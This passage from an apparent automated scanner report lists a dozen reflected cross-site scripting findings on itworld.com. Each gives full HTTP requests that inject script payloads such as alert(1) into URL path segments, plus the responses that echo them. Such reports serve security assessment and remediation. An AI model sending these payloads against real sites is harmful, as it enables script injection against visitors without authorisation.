Content-Type: text/html; charset=utf-8
Content-Length: 57789
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:55 GMT
X-Varnish: 1038163079
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/e73f3"><script>alert(1)</script>7b471767cec/ui.dialog.js?h"/>
...[SNIP]...

1.230. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 676b5"-alert(1)-"a7dba6a9e44 was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js676b5"-alert(1)-"a7dba6a9e44?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:29 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460449"
Content-Type: text/html; charset=utf-8
Content-Length: 57589
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:33 GMT
X-Varnish: 1038164102
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js676b5"-alert(1)-"a7dba6a9e44";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.231. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js

Issue detail

The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a622"><script>alert(1)</script>6385562b734 was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js8a622"><script>alert(1)</script>6385562b734?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:11 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460431"
Content-Type: text/html; charset=utf-8
Content-Length: 57809
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:14 GMT
X-Varnish: 1038163530
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js8a622"><script>alert(1)</script>6385562b734?h"/>
...[SNIP]...

1.232. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6382a"><script>alert(1)</script>1989cfc0c6e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all6382a"><script>alert(1)</script>1989cfc0c6e/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:31 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460151"
Content-Type: text/html; charset=utf-8
Content-Length: 57833
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:44 GMT
X-Varnish: 252446360
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all6382a"><script>alert(1)</script>1989cfc0c6e/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js?h"/>
...[SNIP]...

1.233. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ff16b"-alert(1)-"9b3ef69f04b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/allff16b"-alert(1)-"9b3ef69f04b/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:09 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460189"
Content-Type: text/html; charset=utf-8
Content-Length: 57619
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:12 GMT
X-Varnish: 252446952
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/allff16b"-alert(1)-"9b3ef69f04b/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We c
...[SNIP]...

1.234. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 19921"-alert(1)-"dd17be93da4 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib19921"-alert(1)-"dd17be93da4/jquery_ui/jquery.ui/ui/ui.draggable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:23 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460323"
Content-Type: text/html; charset=utf-8
Content-Length: 57619
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:13 GMT
X-Varnish: 1038160282
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib19921"-alert(1)-"dd17be93da4/jquery_ui/jquery.ui/ui/ui.draggable.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the
...[SNIP]...

1.235. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 581e7"><script>alert(1)</script>bf5f91ed704 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui581e7"><script>alert(1)</script>bf5f91ed704/jquery.ui/ui/ui.draggable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:23 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460383"
Content-Type: text/html; charset=utf-8
Content-Length: 57839
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:31 GMT
X-Varnish: 1038162121
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui581e7"><script>alert(1)</script>bf5f91ed704/jquery.ui/ui/ui.draggable.js?h"/>
...[SNIP]...

1.236. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload afb3a"-alert(1)-"e092d7a3af4 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_uiafb3a"-alert(1)-"e092d7a3af4/jquery.ui/ui/ui.draggable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:45 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460405"
Content-Type: text/html; charset=utf-8
Content-Length: 57619
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:47 GMT
X-Varnish: 1038162584
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
ich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_uiafb3a"-alert(1)-"e092d7a3af4/jquery.ui/ui/ui.draggable.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you
...[SNIP]...

1.237. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26fa8"><script>alert(1)</script>44ae31eb0ce was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui26fa8"><script>alert(1)</script>44ae31eb0ce/ui/ui.draggable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:54 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460414"
Content-Type: text/html; charset=utf-8
Content-Length: 57839
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:59 GMT
X-Varnish: 1038163036
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui26fa8"><script>alert(1)</script>44ae31eb0ce/ui/ui.draggable.js?h"/>
...[SNIP]...

1.238. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 521d8"-alert(1)-"1ecc028ab54 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui521d8"-alert(1)-"1ecc028ab54/ui/ui.draggable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:03 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460423"
Content-Type: text/html; charset=utf-8
Content-Length: 57618
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:03 GMT
X-Varnish: 1038163230
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui/jquery.ui521d8"-alert(1)-"1ecc028ab54/ui/ui.draggable.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.
...[SNIP]...

1.239. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 518eb"><script>alert(1)</script>0e8e848986b was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui518eb"><script>alert(1)</script>0e8e848986b/ui.draggable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:20 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460440"
Content-Type: text/html; charset=utf-8
Content-Length: 57840
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:30 GMT
X-Varnish: 1038163897
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui518eb"><script>alert(1)</script>0e8e848986b/ui.draggable.js?h"/>
...[SNIP]...

1.240. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1dd63"-alert(1)-"64f95aed9f8 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui1dd63"-alert(1)-"64f95aed9f8/ui.draggable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:36 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460456"
Content-Type: text/html; charset=utf-8
Content-Length: 57620
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:39 GMT
X-Varnish: 1038164269
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
5="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui/jquery.ui/ui1dd63"-alert(1)-"64f95aed9f8/ui.draggable.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";

...[SNIP]...

1.241. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js

Issue detail

The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2c228"><script>alert(1)</script>3c8006b1fe0 was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui/2c228"><script>alert(1)</script>3c8006b1fe0?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:46 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460466"
